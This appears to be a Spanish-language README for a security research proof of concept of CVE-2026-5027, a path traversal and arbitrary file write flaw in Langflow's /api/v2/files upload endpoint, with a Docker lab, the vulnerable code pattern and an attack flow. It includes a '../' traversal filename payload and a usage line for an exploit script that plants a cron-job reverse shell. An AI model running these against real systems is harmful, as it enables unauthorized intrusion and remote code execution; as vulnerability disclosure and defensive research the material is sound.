
Prueba de concepto de exploit para CVE-2026-5027, un path traversal y escritura arbitraria de archivos en el endpoint /api/v2/files de Langflow, con laboratorio Docker y opción de reverse shell.
Esta publicación es un artículo de investigación publicado por EQSTLab.
Gracias a Yahia Hamza, quien reportó y analizó esta vulnerabilidad.
★ CVE-2026-5027 Langflow Path Traversal / Escritura Arbitraria de Archivos PoC ★

CVE-2026-5027 : Vulnerabilidad de Escritura Arbitraria de Archivos en Langflow
descripción: Una vulnerabilidad de path traversal en Langflow <= 1.8.4 permite a los atacantes escribir archivos arbitrarios fuera del directorio de carga previsto mediante un filename multipart manipulado suministrado al endpoint /api/v2/files. En despliegues donde el auto-login está habilitado o la autenticación se aplica de forma débil, este problema puede aprovecharse para lograr ejecución remota de código escribiendo contenido controlado por el atacante en ubicaciones sensibles del sistema de archivos.
Construya y ejecute el entorno vulnerable usando Docker:
docker build -t cve-2026-5027 .
docker run --rm -it -p 9013:9013 --name cve-2026-5027 cve-2026-5027
# Proof of concept (writes test file to /tmp/)
python3 CVE-2026-5027.py -t <TARGET>
# Reverse shell via cron job
python3 CVE-2026-5027.py -t <TARGET> --lhost <YOUR_IP> --lport 4444
Endpoint Vulnerable
POST /api/v2/files
El problema existe porque la funcionalidad de carga confía en el valor filename multipart proporcionado por el cliente. En lugar de generar un nombre de almacenamiento seguro del lado del servidor o restringir la ruta resuelta a un directorio de carga dedicado, la ruta de código vulnerable permite que secuencias de traversal como ../ influyan en la ruta de destino final.
Como resultado, un atacante puede escapar de la raíz de almacenamiento prevista y forzar a la aplicación a escribir archivos en ubicaciones arbitrarias del sistema de archivos del servidor.
Un flujo de explotación representativo es el siguiente:
/api/v2/files.filename manipulado que contenga secuencias de path traversal.Esto es fundamentalmente un problema de CWE-22: Limitación Inadecuada de un Nombre de Ruta a un Directorio Restringido.
La falla de seguridad es causada por una sanitización y validación insuficientes de las rutas de archivo controladas por el usuario durante el manejo de la carga. La aplicación acepta el nombre de archivo original del cliente y lo pasa al flujo de trabajo de almacenamiento sin aplicar adecuadamente la normalización y contención de rutas.
Desde un punto de vista defensivo, el patrón peligroso es conceptualmente similar al siguiente:
save_path = base_dir / file.filename
Si file.filename contiene componentes de path traversal como:
../../../../tmp/poc.txt
la ruta resuelta final puede apuntar fuera de base_dir, permitiendo la escritura arbitraria de archivos.
Las vulnerabilidades de escritura arbitraria de archivos a menudo son más graves que los problemas estándar de carga sin restricciones porque el atacante controla no solo el contenido del archivo, sino también la ruta de destino. Dependiendo de los privilegios de ejecución del proceso de Langflow, esto puede permitir:
+-------------------------------------------+
| Attacker |
+-------------------------------------------+
|
| Obtain access token
| or abuse auto-login
v
+-------------------------------------------+
| Langflow /api/v2/files |
+-------------------------------------------+
|
| Crafted multipart filename
| (../ directory traversal)
v
+-------------------------------------------+
| Arbitrary File Write (Outside Upload Dir) |
+-------------------------------------------+
|
| Write to sensitive location
v
+-------------------------------------------+
| Potential Remote Code Execution |
+-------------------------------------------+
Este repositorio no está destinado a facilitar la explotación no autorizada de instancias de Langflow. El propósito de este proyecto es ayudar a investigadores de seguridad, defensores y desarrolladores a comprender la vulnerabilidad, validar la exposición en entornos controlados y aplicar mitigaciones efectivas.